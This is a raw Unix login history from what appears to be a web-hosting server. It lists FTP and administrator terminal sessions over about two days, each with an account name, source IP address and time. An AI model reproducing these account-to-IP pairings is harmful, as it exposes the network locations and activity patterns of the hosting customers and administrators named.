baersoft ftp 62.213.86.143 Mon Oct 25 11:05 - 11:06 (00:01)
sathyasa ftp 80.235.52.127 Mon Oct 25 11:01 - 11:02 (00:01)
admin ttyp4 82.131.4.167 Mon Oct 25 10:31 still logged in
wizarea ftp 83.237.171.23 Mon Oct 25 10:29 - 11:24 (00:54)
gdp ttyp0 mahaon.ints.net Mon Oct 25 10:18 still logged in
anonymous@sslpr ftp 212.176.54.99 Mon Oct 25 09:39 - 09:48 (00:08)
dolba3bid@ssqua ftp 213.177.101.190 Mon Oct 25 09:30 - 09:31 (00:01)
balticsclan ftp 217.159.173.198 Mon Oct 25 09:27 - 09:46 (00:18)
anonymous@sslpr ftp 212.176.54.99 Mon Oct 25 09:07 - 09:36 (00:29)
zotkin2@zotkin. ftp 212.45.6.50 Mon Oct 25 08:47 - 08:57 (00:10)
gaycity ftp 82.131.3.248 Mon Oct 25 08:41 - 08:42 (00:00)
balticsclan ftp 217.159.173.198 Mon Oct 25 08:32 - 09:01 (00:28)
invest ftp 81.176.137.55 Mon Oct 25 07:19 - 07:30 (00:11)
zlg ftp 194.186.96.188 Mon Oct 25 06:37 - 07:19 (00:42)
takaja ftp 194.204.29.7 Mon Oct 25 06:09 - 06:20 (00:10)
zlg ftp 194.186.96.188 Mon Oct 25 05:59 - 06:14 (00:15)
elitemon ftp 82.147.175.77 Mon Oct 25 05:56 - 06:16 (00:20)
takaja ftp 194.204.29.7 Mon Oct 25 05:43 - 05:49 (00:06)
zlg ftp 194.186.96.188 Mon Oct 25 05:13 - 05:28 (00:15)
takaja ftp 194.204.29.7 Mon Oct 25 05:06 - 05:24 (00:17)
elitemon ftp 82.147.175.77 Mon Oct 25 05:05 - 05:36 (00:30)
takaja ftp 194.204.29.7 Mon Oct 25 05:01 - 05:07 (00:06)
zport ftp 81.3.154.82 Mon Oct 25 04:38 - 04:42 (00:03)
zlg ftp 194.186.96.188 Mon Oct 25 04:36 - 04:51 (00:15)
zport ftp 81.3.154.82 Mon Oct 25 04:27 - 04:42 (00:14)
zlg ftp 194.186.96.188 Mon Oct 25 04:08 - 04:23 (00:15)
elitemon ftp 82.147.175.77 Mon Oct 25 04:00 - 05:00 (00:59)
takaja ftp 194.204.29.7 Mon Oct 25 03:15 - 04:48 (01:32)
onlines ftp 194.204.48.133 Mon Oct 25 03:00 - 03:20 (00:19)
elitemon ftp 82.147.175.77 Mon Oct 25 02:59 - 03:20 (00:20)
scythian ftp 80.235.37.235 Mon Oct 25 02:55 - 02:55 (00:00)
zlg ftp 194.186.96.188 Mon Oct 25 02:24 - 02:42 (00:17)
tdz ftp 195.158.178.188 Mon Oct 25 01:57 - 02:03 (00:05)
zlg ftp 194.186.96.188 Mon Oct 25 01:53 - 02:08 (00:15)
tdz ftp 195.158.178.188 Mon Oct 25 01:50 - 01:53 (00:02)
design ftp 82.131.4.167 Mon Oct 25 01:35 - 01:37 (00:01)
takaja ftp 194.204.29.7 Mon Oct 25 01:33 - 02:52 (01:18)
wizarea ftp 83.237.172.182 Mon Oct 25 01:33 - 02:47 (01:14)
balticsclan ftp 213.35.219.154 Mon Oct 25 01:18 - 01:30 (00:11)
zlg ftp 194.186.96.188 Mon Oct 25 01:10 - 01:26 (00:16)
tdz ftp 195.158.178.188 Mon Oct 25 00:57 - 01:17 (00:19)
design ftp 82.131.4.167 Mon Oct 25 00:43 - 00:54 (00:10)
tdz ftp 195.158.178.188 Mon Oct 25 00:33 - 00:49 (00:16)
balticsclan ftp 213.35.219.154 Mon Oct 25 00:30 - 01:10 (00:40)
tdz ftp 195.158.178.188 Mon Oct 25 00:17 - 00:17 (00:00)
teleman ftp 193.26.13.2 Mon Oct 25 00:09 - 00:19 (00:10)
design ftp 82.131.4.167 Sun Oct 24 23:57 - 00:26 (00:29)
[email protected] ftp 82.131.0.93 Sun Oct 24 23:55 - 23:55 (00:00)
webhack ftp 212.7.18.157 Sun Oct 24 23:51 - 23:51 (00:00)
[email protected] ftp 82.131.0.93 Sun Oct 24 23:51 - 23:52 (00:00)
dolba3bid@ssqua ftp 62.33.236.189 Sun Oct 24 23:51 - 00:07 (00:16)
tdz ftp 195.158.178.188 Sun Oct 24 23:45 - 23:57 (00:12)
detej ftp 217.159.173.206 Sun Oct 24 23:35 - 23:36 (00:00)
webhack ftp 212.7.18.157 Sun Oct 24 23:26 - 23:36 (00:10)
tdz ftp 195.158.178.188 Sun Oct 24 23:26 - 23:26 (00:00)
zotkin2@zotkin. ftp 212.45.6.50 Sun Oct 24 23:19 - 23:46 (00:27)
detej ftp 217.159.173.206 Sun Oct 24 23:11 - 23:11 (00:00)
webhack ftp 212.7.18.157 Sun Oct 24 23:04 - 23:14 (00:10)
gaycity ftp 82.131.3.248 Sun Oct 24 23:03 - 23:05 (00:01)
detej ftp 217.159.173.206 Sun Oct 24 23:02 - 23:47 (00:44)
balticsclan ftp 213.35.219.154 Sun Oct 24 22:53 - 23:03 (00:10)
akorbal ftp 62.76.4.137 Sun Oct 24 22:52 - 22:56 (00:03)
dolba3bid@ssqua ftp 62.33.236.189 Sun Oct 24 22:43 - 22:55 (00:11)
ssquad ftp 195.131.1.74 Sun Oct 24 22:39 - 22:41 (00:01)
softovik ftp 81.89.71.58 Sun Oct 24 22:39 - 22:51 (00:11)
bfbalth ftp 62.65.206.196 Sun Oct 24 22:37 - 22:40 (00:03)
balticsclan ftp 213.35.219.154 Sun Oct 24 22:34 - 22:51 (00:17)
albalt ftp 217.159.170.70 Sun Oct 24 22:32 - 22:33 (00:00)
bfbalth ftp 62.65.206.196 Sun Oct 24 22:28 - 22:32 (00:04)
albalt ftp 217.159.170.70 Sun Oct 24 22:26 - 22:27 (00:00)
webb ftp 82.147.171.109 Sun Oct 24 22:26 - 22:26 (00:00)
albalt ftp 217.159.170.70 Sun Oct 24 22:25 - 22:25 (00:00)
dolba3bid@ssqua ftp 195.131.1.74 Sun Oct 24 22:19 - 22:38 (00:18)
detej ftp 217.159.173.206 Sun Oct 24 22:19 - 22:19 (00:00)
albalt ftp 217.159.170.70 Sun Oct 24 22:18 - 22:18 (00:00)
estfootball ftp 82.147.163.30 Sun Oct 24 22:13 - 22:19 (00:05)
tdz ftp 194.84.143.232 Sun Oct 24 22:09 - 22:51 (00:42)
takaja ftp 194.204.29.7 Sun Oct 24 22:09 - 22:34 (00:25)
detej ftp 217.159.173.206 Sun Oct 24 22:08 - 22:27 (00:19)
dolba3bid@ssqua ftp 195.131.1.74 Sun Oct 24 22:08 - 22:18 (00:10)
balticsclan ftp 213.35.219.154 Sun Oct 24 22:04 - 22:17 (00:13)
detej ftp 217.159.173.206 Sun Oct 24 22:04 - 22:04 (00:00)
tdz ftp 194.84.143.232 Sun Oct 24 21:55 - 22:09 (00:13)
estfootball ftp 81.9.68.220 Sun Oct 24 21:55 - 21:59 (00:04)
dolba3bid@ssqua ftp 195.131.1.74 Sun Oct 24 21:54 - 21:59 (00:05)
aaa ftp 62.65.206.196 Sun Oct 24 21:53 - 21:53 (00:00)
detej ftp 217.159.173.206 Sun Oct 24 21:52 - 22:02 (00:10)
balticsclan ftp 213.35.219.154 Sun Oct 24 21:51 - 22:02 (00:10)
detej ftp 217.159.173.206 Sun Oct 24 21:51 - 22:03 (00:11)
tdz ftp 194.84.143.232 Sun Oct 24 21:50 - 21:59 (00:08)
ssquad ftp 195.131.1.74 Sun Oct 24 21:45 - 21:53 (00:08)
dolba3bid@ssqua ftp 195.131.1.74 Sun Oct 24 21:44 - 21:45 (00:00)
estfootball ftp 81.9.68.220 Sun Oct 24 21:40 - 21:49 (00:08)
elitemon ftp 82.147.167.184 Sun Oct 24 21:33 - 21:33 (00:00)
estfootball ftp 148.233.165.151 Sun Oct 24 21:32 - 21:34 (00:02)
elitemon ftp 82.147.167.184 Sun Oct 24 21:27 - 21:27 (00:00)
baltbal ftp 82.147.171.109 Sun Oct 24 21:20 - 21:30 (00:10)
alexclk ftp 217.224.244.9 Sun Oct 24 21:17 - 21:30 (00:12)
elitemon ftp 82.147.167.184 Sun Oct 24 21:17 - 21:27 (00:09)
ssquad ftp 195.131.1.74 Sun Oct 24 21:17 - 21:40 (00:23)
elitemon ftp 82.147.167.184 Sun Oct 24 21:17 - 21:27 (00:10)
detej ftp 217.159.173.206 Sun Oct 24 21:13 - 21:32 (00:19)
forumlif ftp 194.106.127.118 Sun Oct 24 21:00 - 21:11 (00:11)
nimble ftp 213.130.7.36 Sun Oct 24 21:00 - 21:00 (00:00)
aaa ftp 62.65.206.196 Sun Oct 24 20:55 - 21:00 (00:04)
detej ftp 217.159.173.206 Sun Oct 24 20:54 - 20:56 (00:01)
estfootball ftp 148.233.165.151 Sun Oct 24 20:47 - 20:49 (00:02)
detej ftp 217.159.173.206 Sun Oct 24 20:47 - 21:07 (00:20)
estfootball ftp 81.9.68.220 Sun Oct 24 20:42 - 20:44 (00:01)
anime ftp 82.147.182.190 Sun Oct 24 20:41 - 20:48 (00:06)
wh ftp 212.15.118.181 Sun Oct 24 20:38 - 20:38 (00:00)
anime ftp 82.147.182.190 Sun Oct 24 20:33 - 20:40 (00:06)
detej ftp 217.159.173.206 Sun Oct 24 20:29 - 20:29 (00:00)
design ftp 213.35.209.11 Sun Oct 24 20:29 - 20:45 (00:16)
detej ftp 217.159.173.206 Sun Oct 24 20:25 - 20:25 (00:00)
wh ftp 212.15.118.181 Sun Oct 24 20:24 - 20:37 (00:12)
estfootball ftp 81.9.68.220 Sun Oct 24 20:23 - 20:34 (00:10)
detej ftp 217.159.171.106 Sun Oct 24 20:04 - 20:04 (00:00)
anime ftp 82.147.182.190 Sun Oct 24 20:01 - 20:31 (00:29)
detej ftp 217.159.173.206 Sun Oct 24 19:54 - 19:54 (00:00)
prohack ftp 83.167.80.133 Sun Oct 24 19:53 - 20:00 (00:06)
detej ftp 217.159.173.206 Sun Oct 24 19:50 - 19:50 (00:00)
design ftp 213.35.209.11 Sun Oct 24 19:48 - 19:51 (00:02)
albalt ftp 217.159.170.70 Sun Oct 24 19:47 - 21:27 (01:39)
detej ftp 217.159.173.206 Sun Oct 24 19:46 - 19:46 (00:00)
albalt ftp 217.159.170.70 Sun Oct 24 19:44 - 19:44 (00:00)
tdz ftp 194.84.143.232 Sun Oct 24 19:41 - 20:14 (00:33)
zotkin2@zotkin. ftp 212.45.6.50 Sun Oct 24 19:40 - 20:02 (00:21)
detej ftp 217.159.173.206 Sun Oct 24 19:40 - 20:38 (00:57)
fresh@shaftspla ftp 24.157.116.34 Sun Oct 24 19:27 - 19:37 (00:10)
tdz ftp 195.158.178.188 Sun Oct 24 19:26 - 19:34 (00:08)
albalt ftp 217.159.170.70 Sun Oct 24 19:22 - 19:23 (00:00)
detej ftp 217.159.173.206 Sun Oct 24 19:19 - 19:37 (00:18)
tdz ftp 195.158.178.188 Sun Oct 24 19:12 - 19:24 (00:12)
tulksco ftp 217.199.109.35 Sun Oct 24 19:11 - 19:18 (00:06)
detej ftp 217.159.173.206 Sun Oct 24 19:08 - 19:19 (00:10)
gaycity ftp 82.131.3.248 Sun Oct 24 19:06 - 19:16 (00:10)
pionerz ftp 194.204.17.244 Sun Oct 24 19:06 - 19:21 (00:15)
tulksco ftp 217.199.109.35 Sun Oct 24 19:06 - 19:06 (00:00)
detej ftp 217.159.171.106 Sun Oct 24 19:05 - 20:02 (00:56)
gaycity ftp 82.131.3.248 Sun Oct 24 19:03 - 19:04 (00:01)
takaja ftp 194.204.29.7 Sun Oct 24 19:03 - 19:10 (00:06)
gaycity ftp 82.131.3.248 Sun Oct 24 19:02 - 19:03 (00:01)
tulksco ftp 217.199.109.35 Sun Oct 24 18:56 - 19:03 (00:07)
elitemon ftp 82.147.175.77 Sun Oct 24 18:55 - 19:11 (00:16)
albalt ftp 217.159.170.70 Sun Oct 24 18:53 - 19:12 (00:19)
tdz ftp 195.158.178.188 Sun Oct 24 18:48 - 19:11 (00:23)
albalt ftp 217.159.170.70 Sun Oct 24 18:47 - 18:48 (00:00)
tulksco ftp 217.199.109.35 Sun Oct 24 18:42 - 18:42 (00:00)
tdz ftp 194.84.143.232 Sun Oct 24 18:38 - 19:01 (00:23)
webb ftp 82.147.171.109 Sun Oct 24 18:37 - 18:38 (00:00)
forumlif ftp 194.106.127.118 Sun Oct 24 18:35 - 18:39 (00:04)
detej ftp 217.159.171.106 Sun Oct 24 18:33 - 19:04 (00:31)
tulksco ftp 217.199.109.35 Sun Oct 24 18:31 - 18:31 (00:00)
takaja ftp 194.204.29.7 Sun Oct 24 18:29 - 19:03 (00:34)
tulksco ftp 217.199.109.35 Sun Oct 24 18:25 - 18:26 (00:00)
ssquad ftp 195.131.1.74 Sun Oct 24 18:24 - 18:29 (00:04)
tulksco ftp 217.199.109.35 Sun Oct 24 18:22 - 18:22 (00:00)
webb ftp 82.147.171.109 Sun Oct 24 18:22 - 18:28 (00:06)
detej ftp 217.159.171.106 Sun Oct 24 18:12 - 18:12 (00:00)
zlg ftp 194.186.32.66 Sun Oct 24 18:11 - 18:24 (00:12)
webb ftp 82.147.171.109 Sun Oct 24 18:08 - 18:09 (00:01)
gansta ftp 213.35.211.150 Sun Oct 24 17:47 - 17:59 (00:12)
detej ftp 217.159.171.106 Sun Oct 24 17:46 - 17:59 (00:12)
albalt ftp 217.159.170.70 Sun Oct 24 17:44 - 18:25 (00:40)
baltbal ftp 82.147.171.109 Sun Oct 24 17:44 - 17:44 (00:00)
albalt ftp 217.159.170.70 Sun Oct 24 17:38 - 17:42 (00:04)
prohack ftp 83.167.82.149 Sun Oct 24 17:37 - 17:43 (00:05)
detej ftp 217.159.171.106 Sun Oct 24 17:37 - 17:46 (00:09)
webb ftp 82.147.171.109 Sun Oct 24 17:35 - 17:45 (00:10)
detej ftp 217.159.171.106 Sun Oct 24 17:26 - 17:36 (00:09)
prohack ftp 83.167.82.149 Sun Oct 24 17:23 - 17:43 (00:20)
detej ftp 217.159.171.106 Sun Oct 24 17:23 - 17:26 (00:03)
takaja ftp 194.204.29.7 Sun Oct 24 17:19 - 17:36 (00:16)
[email protected] ftp 82.207.26.201 Sun Oct 24 17:17 - 17:51 (00:33)
balticsclan ftp 213.35.219.154 Sun Oct 24 17:09 - 17:13 (00:03)
detej ftp 217.159.171.106 Sun Oct 24 17:02 - 17:02 (00:00)
webb ftp 82.147.171.109 Sun Oct 24 16:55 - 17:05 (00:10)
invest ftp 217.107.22.109 Sun Oct 24 16:55 - 16:55 (00:00)
tdz ftp 195.158.178.188 Sun Oct 24 16:54 - 16:58 (00:04)
forumlif ftp 194.106.127.118 Sun Oct 24 16:51 - 16:56 (00:05)
topbalt ftp 217.159.171.34 Sun Oct 24 16:50 - 16:50 (00:00)
invest ftp 81.176.137.56 Sun Oct 24 16:48 - 16:58 (00:10)
topbalt ftp 217.159.171.34 Sun Oct 24 16:44 - 16:44 (00:00)
invest ftp 217.107.22.227 Sun Oct 24 16:43 - 16:54 (00:10)
prohack ftp 83.167.82.187 Sun Oct 24 16:41 - 17:19 (00:37)
invest ftp 81.176.137.107 Sun Oct 24 16:35 - 16:45 (00:10)
topbalt ftp 217.159.171.34 Sun Oct 24 16:31 - 16:31 (00:00)
invest ftp 217.107.23.37 Sun Oct 24 16:30 - 16:31 (00:00)
topbalt ftp 217.159.171.34 Sun Oct 24 16:30 - 16:30 (00:00)
forumlif ftp 194.106.127.118 Sun Oct 24 16:25 - 16:27 (00:01)
topbalt ftp 217.159.171.34 Sun Oct 24 16:24 - 16:24 (00:00)
[email protected] ftp 82.207.25.183 Sun Oct 24 16:23 - 16:41 (00:17)
topbalt ftp 217.159.171.34 Sun Oct 24 16:22 - 16:22 (00:00)
invest ftp 217.107.23.117 Sun Oct 24 16:22 - 16:33 (00:10)
gansta ftp 213.35.211.150 Sun Oct 24 16:20 - 17:55 (01:34)
topbalt ftp 217.159.171.34 Sun Oct 24 16:17 - 16:17 (00:00)
forumlif ftp 194.204.37.86 Sun Oct 24 16:14 - 16:14 (00:00)
topbalt ftp 217.159.171.34 Sun Oct 24 16:11 - 16:11 (00:00)
invest ftp 217.107.22.194 Sun Oct 24 16:11 - 16:22 (00:11)
akorbal ftp 62.76.4.137 Sun Oct 24 16:09 - 16:15 (00:05)
forumlif ftp 194.106.127.118 Sun Oct 24 16:05 - 16:06 (00:00)
tulksco ftp 217.199.109.35 Sun Oct 24 15:59 - 15:59 (00:00)
topbalt ftp 217.159.171.34 Sun Oct 24 15:55 - 15:55 (00:00)
tulksco ftp 217.199.109.35 Sun Oct 24 15:55 - 15:55 (00:00)
[email protected] ftp 82.207.25.183 Sun Oct 24 15:54 - 16:13 (00:19)
forumlif ftp 194.106.127.118 Sun Oct 24 15:54 - 16:06 (00:12)
tulksco ftp 217.199.109.35 Sun Oct 24 15:53 - 16:00 (00:07)
story ftp 80.235.127.254 Sun Oct 24 15:52 - 15:53 (00:00)
tulksco ftp 217.199.109.35 Sun Oct 24 15:52 - 15:52 (00:00)
forumlif ftp 194.106.127.118 Sun Oct 24 15:51 - 15:52 (00:00)
tulksco ftp 217.199.109.35 Sun Oct 24 15:50 - 15:50 (00:00)
tdz ftp 194.84.143.232 Sun Oct 24 15:43 - 15:51 (00:07)
forumlif ftp 194.106.127.118 Sun Oct 24 15:43 - 15:51 (00:07)
tulksco ftp 217.199.109.35 Sun Oct 24 15:42 - 15:51 (00:09)
pionerz ftp 194.204.17.244 Sun Oct 24 15:35 - 15:51 (00:15)
topbalt ftp 217.159.171.34 Sun Oct 24 15:27 - 15:27 (00:00)
tdz ftp 194.84.143.232 Sun Oct 24 15:26 - 15:28 (00:01)
tallif ftp 213.219.75.50 Sun Oct 24 15:26 - 15:26 (00:00)
topbalt ftp 217.159.171.34 Sun Oct 24 15:25 - 15:25 (00:00)
wh ftp 212.15.118.103 Sun Oct 24 14:53 - 16:22 (01:29)
webb ftp 82.147.171.109 Sun Oct 24 14:52 - 15:02 (00:10)
story ftp 80.235.127.254 Sun Oct 24 14:50 - 14:50 (00:00)
odyssey ftp 213.158.7.139 Sun Oct 24 14:49 - 15:03 (00:13)
estfootball ftp 82.147.163.30 Sun Oct 24 14:45 - 15:03 (00:17)
tdz ftp 194.84.143.232 Sun Oct 24 14:42 - 15:12 (00:29)
oeforum ftp 212.7.28.220 Sun Oct 24 14:33 - 14:43 (00:10)
chenla ftp 213.54.71.205 Sun Oct 24 14:31 - 14:32 (00:00)
detej ftp 217.159.173.206 Sun Oct 24 14:19 - 14:19 (00:00)
iand ftp 213.148.31.233 Sun Oct 24 14:15 - 14:16 (00:01)
odyssey ftp 213.158.7.46 Sun Oct 24 14:14 - 14:35 (00:21)
webb ftp 82.147.171.109 Sun Oct 24 14:08 - 14:11 (00:03)
elitemon ftp 82.147.175.77 Sun Oct 24 14:04 - 14:21 (00:16)
webb ftp 82.147.171.109 Sun Oct 24 13:51 - 14:01 (00:10)
runetb ftp 213.35.216.238 Sun Oct 24 13:49 - 13:50 (00:01)
webb ftp 82.147.171.109 Sun Oct 24 13:41 - 13:47 (00:05)
estfootball ftp 82.147.163.30 Sun Oct 24 13:34 - 14:31 (00:57)
elitemon ftp 82.147.175.77 Sun Oct 24 13:27 - 13:44 (00:17)
runetb ftp 213.35.216.238 Sun Oct 24 13:26 - 13:39 (00:12)
topbalt ftp 217.159.171.34 Sun Oct 24 13:24 - 13:24 (00:00)
tdz ftp 194.84.143.232 Sun Oct 24 13:19 - 13:29 (00:10)
prohack ftp 83.167.80.247 Sun Oct 24 13:14 - 14:02 (00:47)
tallif ftp 213.219.75.50 Sun Oct 24 13:14 - 13:38 (00:24)
prohack ftp 83.167.80.247 Sun Oct 24 13:12 - 13:14 (00:01)
webb ftp 82.147.171.109 Sun Oct 24 13:10 - 13:10 (00:00)
elitemon ftp 82.147.175.77 Sun Oct 24 13:08 - 13:27 (00:18)
acontrol ftp 195.66.208.4 Sun Oct 24 13:05 - 13:10 (00:05)
elitemon ftp 82.147.175.77 Sun Oct 24 13:04 - 13:06 (00:02)
xboxland ftp 217.10.45.28 Sun Oct 24 13:03 - 13:04 (00:01)
prohack ftp 83.167.80.247 Sun Oct 24 13:01 - 13:11 (00:09)
tdz ftp 194.84.143.232 Sun Oct 24 12:48 - 13:19 (00:30)
elitemon ftp 82.147.175.77 Sun Oct 24 12:45 - 13:03 (00:17)
prohack ftp 83.167.82.165 Sun Oct 24 12:45 - 12:56 (00:10)
acontrol ftp 195.66.208.4 Sun Oct 24 12:41 - 12:54 (00:12)
coder ftp 80.66.244.17 Sun Oct 24 12:35 - 12:45 (00:09)
prohack ftp 83.167.82.165 Sun Oct 24 12:32 - 12:39 (00:06)
hwin ftp 80.237.115.33 Sun Oct 24 12:29 - 12:46 (00:16)
webextra ftp 216.236.117.139 Sun Oct 24 12:24 - 12:24 (00:00)
rafasoft ftp 216.236.117.139 Sun Oct 24 12:22 - 12:23 (00:00)
[email protected] ftp 82.131.2.248 Sun Oct 24 12:11 - 12:19 (00:07)
coder ftp 80.66.244.17 Sun Oct 24 12:11 - 12:16 (00:04)
prohack ftp 83.167.82.165 Sun Oct 24 12:08 - 12:27 (00:18)
onlines ftp 194.204.48.133 Sun Oct 24 12:07 - 12:23 (00:15)
acontrol ftp 195.66.208.4 Sun Oct 24 12:07 - 12:38 (00:31)
onlines ftp 194.204.48.133 Sun Oct 24 12:06 - 12:06 (00:00)
acontrol ftp 195.66.208.4 Sun Oct 24 12:03 - 12:17 (00:14)
baersoft ftp 82.207.31.57 Sun Oct 24 12:01 - 12:22 (00:20)
elitemon ftp 82.147.175.77 Sun Oct 24 11:51 - 12:30 (00:39)
takaja ftp 194.204.29.7 Sun Oct 24 11:49 - 12:16 (00:27)
baersoft ftp 82.207.31.57 Sun Oct 24 11:49 - 11:54 (00:05)
admin ttyp0 82.131.4.167 Sun Oct 24 11:47 - 00:10 (12:23)
mp3cm ftp 195.239.140.241 Sun Oct 24 11:45 - 11:47 (00:01)
baersoft ftp 82.207.31.57 Sun Oct 24 11:40 - 11:58 (00:17)
baersoft ftp 82.207.31.57 Sun Oct 24 11:39 - 11:45 (00:05)
wh ftp 212.15.118.42 Sun Oct 24 11:27 - 11:32 (00:04)
zotkin2@zotkin. ftp 212.45.6.50 Sun Oct 24 11:13 - 11:26 (00:13)
alerian ftp 212.7.12.6 Sun Oct 24 11:12 - 11:55 (00:42)
elitemon ftp 82.147.175.77 Sun Oct 24 11:09 - 11:44 (00:34)
xboxland ftp 217.10.45.28 Sun Oct 24 11:09 - 11:17 (00:07)
runetb ftp 213.35.172.10 Sun Oct 24 10:58 - 11:01 (00:03)
prohack ftp 83.167.82.153 Sun Oct 24 10:54 - 11:04 (00:09)
flooder ftp 217.159.162.94 Sun Oct 24 10:52 - 10:53 (00:00)
flooder ftp 217.159.162.94 Sun Oct 24 10:52 - 10:53 (00:01)
elitemon ftp 82.147.175.77 Sun Oct 24 10:39 - 10:42 (00:02)
[email protected] ftp 82.115.25.10 Sun Oct 24 10:34 - 10:38 (00:03)
wh ftp 212.15.118.113 Sun Oct 24 10:22 - 10:24 (00:02)
hwin ftp 80.237.115.33 Sun Oct 24 09:32 - 09:42 (00:10)
tulksco ftp 217.199.109.35 Sun Oct 24 09:14 - 09:20 (00:05)
elitemon ftp 82.147.175.77 Sun Oct 24 09:12 - 10:34 (01:21)
prohack ftp 83.167.82.236 Sun Oct 24 09:11 - 09:24 (00:12)
rafasoft ftp 216.236.117.139 Sun Oct 24 08:44 - 08:50 (00:05)
forumlif ftp 194.106.127.118 Sun Oct 24 08:34 - 08:42 (00:08)
forum@estfootba ftp 194.106.127.118 Sun Oct 24 08:25 - 08:25 (00:00)
elitemon ftp 82.147.175.77 Sun Oct 24 07:33 - 08:01 (00:28)
zlg ftp 194.186.32.107 Sun Oct 24 07:07 - 07:46 (00:38)
freeserialsnet ftp 212.38.122.75 Sun Oct 24 06:48 - 06:52 (00:03)
zlg ftp 194.186.32.107 Sun Oct 24 06:03 - 06:18 (00:15)
softovik ftp 195.218.132.120 Sun Oct 24 05:44 - 05:45 (00:01)
zlg ftp 194.186.32.107 Sun Oct 24 04:54 - 05:09 (00:15)
detej ftp 217.159.173.206 Sun Oct 24 03:35 - 03:38 (00:02)
iand ftp 213.148.31.233 Sun Oct 24 03:11 - 03:12 (00:00)
softovik ftp 81.89.71.50 Sun Oct 24 02:58 - 03:09 (00:10)
iand ftp 213.148.31.233 Sun Oct 24 02:57 - 03:10 (00:12)
grusper ftp 82.131.16.127 Sun Oct 24 02:49 - 02:51 (00:01)
coder ftp 80.66.244.17 Sun Oct 24 02:34 - 02:36 (00:02)
zlg ftp 194.186.32.107 Sun Oct 24 02:23 - 02:38 (00:15)
coder ftp 80.66.244.17 Sun Oct 24 02:11 - 02:17 (00:05)
zlg ftp 194.186.32.107 Sun Oct 24 02:03 - 02:18 (00:15)
coder ftp 80.66.244.17 Sun Oct 24 01:47 - 02:03 (00:15)
zlg ftp 194.186.32.107 Sun Oct 24 01:39 - 01:55 (00:15)
forum@estfootba ftp 194.106.127.118 Sun Oct 24 01:18 - 01:18 (00:00)
forumlif ftp 194.106.127.118 Sun Oct 24 01:18 - 01:18 (00:00)
zlg ftp 194.186.32.107 Sun Oct 24 01:06 - 01:36 (00:29)
zport ftp 82.140.96.119 Sun Oct 24 01:04 - 01:21 (00:16)
forumlif ftp 194.106.127.118 Sun Oct 24 00:47 - 00:50 (00:03)
ssquad ftp 81.211.95.67 Sun Oct 24 00:33 - 00:33 (00:00)
design ftp 82.131.4.167 Sun Oct 24 00:12 - 00:28 (00:15)
bk ftp 217.159.171.34 Sun Oct 24 00:00 - 00:19 (00:18)
topbalt ftp 217.159.171.34 Sun Oct 24 00:00 - 00:00 (00:00)
forum@estfootba ftp 194.106.127.118 Sat Oct 23 23:59 - 23:59 (00:00)
zlg ftp 194.186.32.63 Sat Oct 23 23:51 - 23:59 (00:07)
forumlif ftp 194.106.127.118 Sat Oct 23 23:50 - 23:51 (00:00)
topbalt ftp 217.159.171.34 Sat Oct 23 23:43 - 23:43 (00:00)
invest ftp 217.107.22.7 Sat Oct 23 23:43 - 23:53 (00:10)
topbalt ftp 217.159.171.34 Sat Oct 23 23:42 - 23:42 (00:00)
forumlif ftp 194.106.127.118 Sat Oct 23 23:42 - 23:49 (00:07)
topbalt ftp 217.159.171.34 Sat Oct 23 23:39 - 23:39 (00:00)
estfootball ftp 82.147.163.30 Sat Oct 23 23:39 - 23:40 (00:01)
topbalt ftp 217.159.171.34 Sat Oct 23 23:34 - 23:34 (00:00)
spaiznuke ftp 192.117.97.6 Sat Oct 23 23:34 - 23:44 (00:10)
topbalt ftp 217.159.171.34 Sat Oct 23 23:34 - 23:59 (00:24)
zotkin2@zotkin. ftp 212.45.6.50 Sat Oct 23 23:31 - 23:42 (00:11)
oeforum ftp 212.7.28.220 Sat Oct 23 23:28 - 23:28 (00:00)
[email protected] ftp 83.237.13.200 Sat Oct 23 23:28 - 23:28 (00:00)
oeforum ftp 212.7.28.220 Sat Oct 23 23:26 - 23:26 (00:00)
forumlif ftp 194.106.127.118 Sat Oct 23 23:23 - 23:33 (00:09)
invest ftp 217.107.23.63 Sat Oct 23 23:22 - 23:34 (00:11)
xplorer ftp 217.106.151.1 Sat Oct 23 23:22 - 23:23 (00:00)
spaiznuke ftp 192.117.97.6 Sat Oct 23 23:21 - 23:31 (00:10)
zotkin2@zotkin. ftp 212.45.6.50 Sat Oct 23 23:18 - 23:28 (00:10)
oeforum ftp 212.7.28.220 Sat Oct 23 23:13 - 23:17 (00:04)
iand ftp 213.148.31.233 Sat Oct 23 23:12 - 23:26 (00:14)
tulksco ftp 217.199.109.35 Sat Oct 23 23:07 - 23:07 (00:00)
tallif ftp 213.219.75.50 Sat Oct 23 23:06 - 23:16 (00:10)
oeforum ftp 212.7.28.220 Sat Oct 23 23:06 - 23:07 (00:00)
webb ftp 82.147.171.109 Sat Oct 23 23:05 - 23:09 (00:03)
oeforum ftp 212.7.28.220 Sat Oct 23 22:59 - 23:09 (00:10)
invest ftp 81.176.137.60 Sat Oct 23 22:57 - 23:18 (00:21)
forumlif ftp 194.106.127.118 Sat Oct 23 22:55 - 22:59 (00:04)
admin ttyp5 82.131.4.167 Sat Oct 23 22:48 - 03:08 (04:20)
softovik ftp 81.89.71.50 Sat Oct 23 22:46 - 23:06 (00:20)
wh ftp 212.15.118.252 Sat Oct 23 22:41 - 22:42 (00:00)
zlg ftp 194.186.96.164 Sat Oct 23 22:31 - 22:42 (00:11)
tallif ftp 213.219.75.50 Sat Oct 23 22:29 - 22:44 (00:15)
softovik ftp 81.89.71.50 Sat Oct 23 22:28 - 22:41 (00:12)
coder ftp 80.66.244.17 Sat Oct 23 22:28 - 22:43 (00:15)
prohack ftp 83.167.80.196 Sat Oct 23 22:17 - 22:32 (00:15)
forumlif ftp 194.106.127.118 Sat Oct 23 21:50 - 21:51 (00:00)
albalt ftp 217.159.170.70 Sat Oct 23 21:41 - 23:02 (01:20)
iand ftp 213.148.31.233 Sat Oct 23 21:34 - 21:45 (00:10)
forumlif ftp 194.106.127.118 Sat Oct 23 21:22 - 21:24 (00:01)
reasonmu ftp 195.96.66.214 Sat Oct 23 21:00 - 21:16 (00:16)
zlg ftp 194.186.96.154 Sat Oct 23 20:36 - 20:55 (00:19)
ssquad ftp 81.211.95.79 Sat Oct 23 20:31 - 20:38 (00:06)
baltbal ftp 82.147.171.109 Sat Oct 23 20:23 - 20:23 (00:00)
reasonmu ftp 195.96.66.214 Sat Oct 23 20:19 - 20:45 (00:25)
alerian ftp 212.7.12.6 Sat Oct 23 20:18 - 20:34 (00:15)
prohack ftp 83.167.82.158 Sat Oct 23 20:10 - 20:26 (00:15)
alerian ftp 212.7.12.6 Sat Oct 23 20:03 - 20:15 (00:11)
